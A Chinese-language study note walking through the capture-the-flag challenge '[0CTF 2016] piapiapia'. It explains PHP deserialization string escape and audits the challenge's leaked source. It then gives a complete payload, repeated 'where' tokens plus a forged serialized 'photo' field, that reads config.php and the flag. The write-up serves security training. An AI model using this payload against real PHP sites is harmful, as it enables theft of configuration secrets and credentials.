0x00 知识点

  1. 网站目录的扫描(源码泄露)
  2. 代码审计
  3. PHP反序列化字符逃逸

0x01 知识点详解

  1. 网站目录扫描工具都是那几种?
    答:这里不单单是指常规的御剑,还包括dirsearch,dirb,nikto等工具,一定要多积累一些这样的工具,不然遇到这种同样的源码泄露,或者有robots.txt文件的题都没法下手。
  2. 什么是PHP反序列化字符逃逸?
    答:这里引用一个大佬的例子,感觉很是清晰明了,之后我也会自己再详细学习。
    序列化
<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>

结果

string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"

反序列化

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" }

我们可以看到在后端中,反序列化是一";}结束的,如果我们把";}带入需要反序列化的字符串中(除了结尾处),是不是就能让反序列化提前结束后面的内容就丢弃了呢?
我们把第二个值abc换成abc";i:2;s:5:"qwert";}

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" }

成功的反序列化出我们自己定义的内容,丢弃了原先的内容(i:2;s:4:"defg")

0x02 解题思路

  1. 打开网站一看就发现了一个小猫咪的登录页面
    这里通过网站目录扫描可以发现源码泄露,也就是www.zip文件,将源码下载下来后,进行代码审计。
  2. 这里我们就挑重要的代码进行审计了
    第一个就是update.php文件
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');//可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));//注意这里使用了序列化函数,一般题目中出现这个函数,都要考虑反序列化方面的解题方法,这里我们跟着update_profile函数跳转到class.php文件。echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {?>
<!DOCTYPE html>
<html>
<head><title>UPDATE</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Please Update Your Profile</h3><label>Phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>Email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>Nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">Photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">UPDATE</button></form></div>
</body>
</html>
<?php}
?>

class.php

<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {     //找到这个函数了,继续往下看$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {//调用了魔法函数return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {   $escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');       //注意这里定义的非法值$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}      //这里将非法值替换成了hackerpublic function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);

这俩个文件的意思就是先正则匹配,之后将参数序列化,最后替换里边的非法值。
profile.php

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);//将传参反序列化出来$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));//这里进行了文件读取,也就是说photo将是我们可以操作的参数
?>
<!DOCTYPE html>
<html>
<head><title>Profile</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label></div>
</body>
</html>
<?php}
?>

config.php

<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';//flag在这里
?>

那么思路很明显了我们构造包含config.php的序列化字符串,利用字符串逃逸,在profile.php中读取出来。

  1. 首先我们的反序列化字符逃逸,序列化的字符是可控的,还有前面的长度是可控的。但update.php将参数序列化,我们可控变量的长度就已经写死了,怎么才能去控制呢。这里就要用到前面class.php中将非法值替换为hacker这一步了。通过将‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘替换成‘hacker‘,当我们写入where替换成hacker之后字符串实际的长度就+1,因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag,并且让他在photo位置上,然后把photo给扔掉,这样在profile.php中读取的photo就是我们构造的config.php了,也就是读取到了flag。
    也就是说利用这个替换,使得实际长度增长,将我们认为构造的带有config.php的序列化字符串放到原来photo所在的位置,并且闭合,使序列化字符串闭合。
    所以我们这里就需要";}s:5:"photo";s:10:"config.php";}将这么一串我们自己构造的字符串插入其中,由于这串字符串的总长度为34,所以,我们就需要在其前加34个where来延长这个长度,之后将这个参数传进去,就可以去profile.php页面读取flag了。

  2. 首先访问register.php页面随便注册一个账号并登录

  3. 之后就会跳转到update.php页面,这里就需要你填写信息这里注意你填写的信息好符合对应的格式,不然你总会更信息失败。之后抓包
    接下来因为是要把photo的值挤出去,所以就要photo前的参数也就是nickname
    将nickname改为nickname[]数组绕过长度检测,之后修改nickname里的内容

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

  1. 放包后进入profile.php查看源码
    将这里的base64解码

【学习笔记 31】 buu [0CTF 2016]piapiapia相关推荐

  1. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  2. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  3. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  4. 影像组学视频学习笔记(31)-柱状图的python实现、Li‘s have a solution and plan.

    本笔记来源于B站Up主: 有Li 的影像组学系列教学视频 本节(31)主要介绍: 用python画柱状图,带errorbar,以及分组展示 import seaborn as sns import p ...

  5. TMS320F280049C 学习笔记31 控制率加速器 CLA 学习随笔

    文章目录 前言 文献阅读记录 整数比较时的注意点 参考文献 前言 去年在入门DSP的时候曾对控制率加速器(Control Law Accelerator, CLA)做过初步的学习[1][2],但后来的 ...

  6. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  7. 学习笔记(31):Python网络编程并发编程-定时器

    立即学习:https://edu.csdn.net/course/play/24458/296448?utm_source=blogtoedu 定时器:threading.Timer 1.概念:定时器 ...

  8. RS 学习笔记 3-1

    3-1 fence climb onto/jump off salad towel napkin ladder 转载于:https://blog.51cto.com/mingii/776041

  9. 安卓学习笔记31:使用自定义视图绘制文本、图形与图像

    文章目录 零.学习目标 一.自定义视图 (一)自定义视图概述 (二)使用自定义视图基本步骤 (三)案例演示 - 使用自定义视图绘制圆 1.创建安卓应用[DrawCircle] 2.创建自定义视图 - ...

  10. 《MySQL实战45讲》——学习笔记31 “误删数据的解决方案(删行/删表/删库/删实例)“

    本篇介绍MySQL误删数据的几种情况以及误删后的处理方法,包括: 使用delete语句误删数据行: 使用drop table或者truncate table语句误删数据表: 使用drop databa ...

最新文章

  1. Android系统SVC命令教程
  2. 少一些计较多_人与人之间最舒服的关系:低期待,少索取,不苛求
  3. C# 文件保存到数据库中或者从数据库中读取文件
  4. 面试官:注解@Component,@Service是如何被解析的?
  5. php页面调用时间戳,php--------获取当前时间、时间戳
  6. 函数式编程的兴衰与当前之崛起
  7. Linux下shell脚本指定程序运行时长
  8. 控制台怎么查看错误的详细信息_js错误处理,quot;try..catchquot;
  9. 关于Unity中Mesh网格的详解
  10. python数据分析numpy_Python数据分析之numpy学习(一)
  11. 音乐盒单片机c语言课程设计,基于PIC16F887单片机数字音乐盒课程设计.doc
  12. 小米8连续点击Android版本,极致模式已开启!小米MIUI8隐藏功能大盘点
  13. Softmax和关于它的交叉熵损失函数详细求导过程
  14. R语言导出xlxs_R语言 数据Excel的导入与导出
  15. 城市微光,大抵如此--爱摸鱼的美工(15)
  16. This Apple ID has not yet been used in the ITunes Store/此Apple ID尚未在iTunes Store使用过
  17. 从js给html的form表单赋值,js获取form表单数据和form表单赋值
  18. Linux-dd命令
  19. 使用cocoscreator接入google AdSence广告
  20. html2Canvas 边框虚线

热门文章

  1. python里逗号是啥_Python中逗号的三种作用
  2. Debian 9 Stretch国内常用镜像源 Jason-张百万
  3. LinuxCNC虚拟机环境搭建
  4. 读书笔记--《原则》
  5. excel表格打印每页都有表头_Excel小技巧3:打印每页添加表头
  6. 多图站点性能优化:图片压缩、图片缩放、HTTP2、CDN、网络传输优化、图片懒加载预加载、响应式图片
  7. # 欢迎使用马克飞象
  8. C# 设置或验证 PDF中的文本域格式
  9. 微信读书产品分析报告(附:信息结构图、功能结构图、产品结构图)
  10. Delphi 仿QQ皮肤控件设计与运行效果图